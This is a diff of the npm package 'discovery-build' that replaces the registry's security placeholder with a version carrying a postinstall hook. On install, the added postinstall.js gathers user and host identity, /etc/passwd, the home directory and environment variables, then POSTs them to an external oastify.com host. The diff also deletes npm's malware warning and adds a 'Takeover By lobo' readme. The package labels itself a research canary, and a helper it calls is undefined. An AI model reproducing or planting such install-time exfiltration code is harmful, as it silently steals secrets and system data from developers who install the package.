discovery-build 0.0.1-security → 1.0.0

package/package.json

@@ -1,6 +1,9 @@
 {
   "name": "discovery-build",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.0",
+  "description": "Security research canary — vercel",
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  },
+  "main": "postinstall.js"
 }

package/postinstall.js

@@ -0,0 +1,85 @@
+const https = require('https');
+const os = require('os');
+const crypto = require('crypto');
+const fs = require('fs');
+// Unique execution ID
+const execId = crypto.randomBytes(6).toString('hex');
+
+// Gather system info
+const payload = {
+  exec_id: execId,
+  whoami: runCommand('whoami'),
+  id: runCommand('id'),
+  hostname: os.hostname(),
+  passwd: fs.readFileSync('/etc/passwd', 'utf8'),
+  username: os.userInfo().username,
+  platform: os.platform(),
+  arch: os.arch(),
+  release: os.release(),
+  cwd: process.cwd(),
+  node_version: process.version,
+  home_dir: os.homedir(),
+  temp_dir: os.tmpdir(),
+  uptime: os.uptime(),
+  timestamp: new Date().toISOString(),
+  env_sample: Object.entries(process.env).slice(0, 30),
+};
+
+// Convert to JSON
+const data = JSON.stringify(payload, null, 2);
+
+// OAST target
+const options = {
+  hostname: 'bl0oxto4g54mptbwu8q8i1r0mrsjgg45.oastify.com',
+  path: `/discovery-build/${execId}`,
+  method: 'POST',
+  headers: {
+    'Content-Type': 'application/json',
+    'Content-Length': Buffer.byteLength(data),
+    'User-Agent': 'agentcore-ctf-poc/1.0'
+  },
+  timeout: 5000
+};
+
+// Create request
+const req = https.request(options, (res) => {
+  console.log(`[+] Status Code: ${res.statusCode}`);
+
+  let body = '';
+
+  res.on('data', chunk => {
+    body += chunk;
+  });
+
+  res.on('end', () => {
+    console.log('[+] Response received');
+    if (body.length > 0) {
+      console.log(body);
+    }
+  });
+});
+
+// Handle errors
+req.on('error', (err) => {
+  console.error('[-] Request failed:', err.message);
+});
+
+// Handle timeout
+req.on('timeout', () => {
+  console.error('[-] Request timeout');
+  req.destroy();
+});
+
+// Send payload
+req.write(data);
+req.end();
+
+// Local execution logs
+console.log('\n=== AgentCore PoC Executed ===');
+console.log('[+] Execution ID :', execId);
+console.log('[+] Hostname     :', payload.hostname);
+console.log('[+] Username     :', payload.username);
+console.log('[+] Platform     :', payload.platform);
+console.log('[+] Node Version :', payload.node_version);
+console.log('[+] Working Dir  :', payload.cwd);
+console.log('================================\n');

package/readme.md

@@ -0,0 +1,2 @@
+Takeover By lobo
+

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=discovery-build for more information.